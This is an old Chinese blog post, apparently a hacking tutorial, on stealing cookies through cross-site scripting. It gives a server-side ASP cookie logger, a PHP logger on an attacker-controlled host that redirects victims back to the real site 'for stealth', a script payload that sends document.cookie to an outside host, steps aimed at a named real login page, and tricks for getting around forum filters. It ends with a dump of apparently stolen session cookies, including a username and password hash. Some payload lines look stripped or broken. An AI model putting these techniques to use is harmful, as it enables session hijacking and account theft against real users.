加载中…
个人资料
  • 博客等级:
  • 博客积分:
  • 博客访问:
  • 关注人气:
  • 获赠金笔:0支
  • 赠出金笔:0支
  • 荣誉徽章:
正文 字体大小:

跨站攻击-偷cookies

(2011-05-04 14:12:57)
标签:

it

分类: 攻防类

http://www/uc/myshow/blog/misc/gif/E___6743EN00SIGG.gif<--插入广告JS代码-->
< %
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cook.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs = nothing
% >




< script>window.open(’http://www.aapet.com/co.asp?msg=’+document.cookie


1. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6


其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.5460.net");
注:"+"为"+"的URL编码,并且这里只能用"+",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就…………

涉及到跨站技巧的问题。像大部份论坛,都过滤了javascript这个字符。有个小技巧是可以利用的,可以在论坛发的贴里将javascript写成ascii码。像j可以写成”j”

再如a可以写成”a”,你可以找一个ascii码表对照修改一下,这样成功率能高一点。还有,你要学会分析一下对方的ubb代码。像动网5.0以下论坛,你在[img]里写入和bbs3000一样的代码就不会成功,因为动网5.0以下,ubb代码http://这个地方当成图片地址了,结你提交的代码被分成了两段javascript:window.open(’和http://www.netsill.net/lcx/info.asp?msg=’+.); ,以至于我们提交的代码丧失了功能。难道就不能攻击了吗?当然不是,我们可以变换种方式提交,在[img]中插入代码如下:

如下图:我偷的cookies:
msg=ASPSESSIONIDSSDCTDDC=IJNFFJBABCCGKBMFKHOKFJBI; ASPSESSIONIDAAQCQBAA=NLJPKNBANJNPDGFPENJFPJHE; joekoe_online=login_id=&login_password=&login_username=&guest_name=�ο�38869331&cookies_true=yes&vc_up_news=jk8822; ASPSESSIONIDCCRDQBAB=NGGFCCCAEAECNNPOKHFOCJNK; ASPSESSIONIDQQBDSDDC=PEJBBFCAPKOKKLHBIMFEBPHA
msg=ASPSESSIONIDSSDCTDDC=IJNFFJBABCCGKBMFKHOKFJBI; ASPSESSIONIDAAQCQBAA=NLJPKNBANJNPDGFPENJFPJHE; joekoe_online=login_password=b7f688e82b6451c2&login_id=4&login_username=xgb&time_load=2005-8-15+16:04:49&guest_name=�ο�38869331&cookies_true=yes&vc_up_news=jk8822; ASPSESSIONIDCCRDQBAB=NGGFCCCAEAECNNPOKHFOCJNK; ASPSESSIONIDQQBDSDDC=PEJBBFCAPKOKKLHBIMFEBPHA

0

阅读 收藏 喜欢 打印举报/Report
  

新浪BLOG意见反馈留言板 欢迎批评指正

新浪简介 | About Sina | 广告服务 | 联系我们 | 招聘信息 | 网站律师 | SINA English | 产品答疑

新浪公司 版权所有